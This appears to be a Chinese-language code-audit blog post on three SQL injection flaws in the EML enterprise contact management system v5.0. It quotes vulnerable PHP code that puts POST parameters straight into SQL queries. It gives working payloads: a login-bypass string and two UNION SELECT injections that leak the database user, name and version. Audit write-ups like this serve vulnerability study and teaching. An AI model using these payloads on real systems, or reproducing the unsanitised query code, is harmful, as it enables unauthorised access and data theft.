eml 企业通讯录管理系统 v5.0 SQL 注入
0x00前言
开始从小的漏洞开始练习,搬运项目地址:
https://github.com/imsebao/Code-Audit
0x01
EML 企业客户关系管理系统,是基于 Linux 开放性内核和 Apache 基础上 Php+Mysql 的智能 B/S 交互式服务系统。
eml 企业通讯录管理系统 v5.0 登录页面 username 参数 过滤不严导致 sql 注 入。
WWW/action/action.user.php 文件 第 23 行
//验证登录
if($do=="loginok"){
$name=$_POST[username];
$pwd=md5($_POST[password]);
$validate_arr=array($name,$pwd);
Ifvalidate($validate_arr);
$sql = "SELECT * from eml_users WHERE username = '$name' AND
password = '$pwd' limit 1 ";
$db->query($sql);
if ($record = $db->fetchRow()){ //登录成功
$_SESSION['isLogin'] = true;
$_SESSION['userid'] = $record['id'];
$_SESSION['uid'] = $record['uid'];
$_SESSION['username'] = $record['username'];
$_SESSION['roleid'] = $record['roleid'];
exit($lang_cn['rabc_login_ok']);
}
else
exit($lang_cn['rabc_login_error']);
exit;
}
username 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞
**漏洞复现: **
用户名输入 :admin' or 1=1# 造成万能密码登录。
还有一个页面同样存在sql注入
eml 企业通讯录管理系统 v5.0 通讯 录页面 kewords 参数 过滤不严导致 sql 注入。
WWW/action/action.address.php 文件 第 11 行
//列表
if($do==""){
If_rabc($action,$do); //检测权限
if($_POST['kewords']){$search .= " and name like
'%".strip_tags($_POST[kewords])."%'";}
if($_POST['time_start']!="" && $_POST['time_over']!=""){
$search .= " and `created_at` >
'".strtotime($_POST[time_start]." 00:00:00")."' AND `created_at` <
'".strtotime($_POST[time_over] ." 23:59:59")."'";
}
//设置分页
if($_POST[numPerPage]==""){$numPerPage="10";}else{$numPerPage=$_POST[
numPerPage];}
if($_GET[pageNum]==""||$_GET[pageNum]=="0" ){$pageNum="0";}else{$page
Num=($_GET[pageNum]-1)*$numPerPage;}
$num=mysql_query("SELECT * FROM eml_users where 1=1 $search");//
当前频道条数
$total=mysql_num_rows($num);//总条数
$page=new page(array('total'=>$total,'perpage'=>$numPerPage));
//查询
$sql="SELECT * FROM eml_users where 1=1 $search order by id desc
LIMIT $pageNum,$numPerPage";
//echo $sql;
$db->query($sql);
$list=$db->fetchAll();
//模版
$smt = new smarty();smarty_cfg($smt);
$smt->assign('list',$list);
$smt->assign('numPerPage',$_POST[numPerPage]); //显示条数
$smt->assign('pageNum',$_GET[pageNum]); //当前页数
$smt->assign('total',$total); //总条数
$smt->assign ('page',$page->show());
$smt->assign('title',"通讯录列表");
$smt->display('adress_list.html');
exit;
}
kewords 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞
漏洞复现:
payload:-1' union select 1,2,3,4,user(),6,7,8,database(),version(),1,2,3,4,5,6#
再来看一个SQL注入:
eml 企业通讯录管理系统 v5.0 我的 应用页面 kewords 参数 过滤不严导致 sql 注入。
WWW/action/action.link.php 文件 第 12 行
//列表
if($do=="myLink"){
If_rabc($action,$do); //检测权限
if($_POST['kewords']){$search .= " and link_name like
'%".strip_tags($_POST[kewords])."%'";}
if($_POST['time_start']!="" && $_POST['time_over']!=""){
$search .= " and `created_at` >
'".strtotime($_POST[time_start]." 00:00:00")."' AND `created_at` <
'".strtotime($_POST[time_over] ." 23:59:59")."'";
}
$user_id=$_SESSION['uid'];
//查询
$sql="SELECT * FROM `eml_link` where user_id='$uid' $search order
by id desc";
//echo $sql;
$db->query($sql);
$list=$db->fetchAll();
//模版
$smt = new smarty();smarty_cfg($smt);
$smt->assign('list',$list);
$smt->assign('title',"应用列表");
$smt->display('link_list.html');
exit;
}
kewords 参数没有任何过滤,直接进入 sql 查询 导致 sql 注入漏洞
漏洞复现:
payload:3' union select user(),2,3,version(),database(),6,7#
emmmm目前看的都是最简单的例子,不太好玩,没有过滤,比我前几天审计的远古cms都简单。后续如果有有趣的会多些点的--